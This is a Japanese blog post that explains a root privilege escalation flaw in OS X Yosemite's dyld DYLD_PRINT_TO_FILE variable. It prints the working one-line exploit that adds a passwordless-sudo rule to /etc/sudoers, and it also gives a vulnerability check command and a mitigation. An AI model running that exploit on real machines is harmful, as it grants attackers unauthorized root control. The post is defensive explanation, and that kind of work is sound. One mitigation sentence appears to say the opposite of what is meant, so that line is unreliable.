Eyes, JAPAN Blog > Mac OS X Yosemiteにおけるroot権限昇格の脆弱性について

Mac OS X Yosemiteにおけるroot権限昇格の脆弱性について

beko

この記事は1年以上前に書かれたもので、内容が古い可能性がありますのでご注意ください。

こんにちは。本日は先日ネットで話題になっていたMac OS X Yosemiteにおける深刻な脆弱性について解説をしたいと思います。
みなさんMacを使われている方が多いと思いますので参考にしていただけたらと思います。

概要

これはドイツのセキュリティ企業”SektionEins”がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表したもので、AppleYosemiteから新しいdyldを導入をしたのですが、その中の1つにある”DYLD_PRINT_TO_FILE”という環境変数が実行終了時にファイルをクローズしない不具合を利用したものです。

この脆弱性自体は多くのユーザーが認知しているとのことですが、先日ネットで1行でrootへ昇格できるものが公開されていました。

方法(実際のコード)

その1行でrootへ昇格できるというコードがこちらです。

echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su

たったこれだけでroot権限へ昇格できてしまうとは怖いです。。。

これはEDITORの環境変数に”DYLD_PRINT_TO_FILE”指定をして、/”etc/sudoers”に”ALL ALL=(ALL) NOPASSWD:ALL”を書き加えるというもので、
sudoersファイルはsudoの動作設定が記述されており、sudoユーザーでも読み出し権限しかなく、特別に用意されたvisudoを使って編集をしなくてはいけないのですが、今回の脆弱性をつかうといともたやすく書き加えることができてしまいます。

対策

チェック方法

自分のPCにその脆弱性があるかのチェックをすることができます。
以下のようにEDITORの環境変数に”DYLD_PRINT_TO_FILE”を使用してルートディレクトリなどの書き込み権限の無い場所に任意のファイルを指定して編集してやると所有者がrootのファイルが出力されるという方法で、ここでファイルが生成をされてしまうと脆弱性があるといことになります。

$ EDITOR=/usr/bin/true DYLD_PRINT_TO_FILE=/this_system_is_vulnerable crontab -e
対策

また対策としてはSUIDGuardというカーネル拡張を使うと権限昇格の脆弱性を使えるとのことです。

インストール方法についてはこちらを参考にしてください。

現状分かっている限りでは、OS X 10.10.4 Yosemiteまでと10.10.5 Betaでは実行可能なようで、OS X 10.11 El CapitanのBeta版では修正をされているとのことです。
Appleがこの脆弱性を修正するのは早くてもOS X 10.10.5以降になるということです。

参考資料

applech2.com
www.reddit.com

Comments are closed.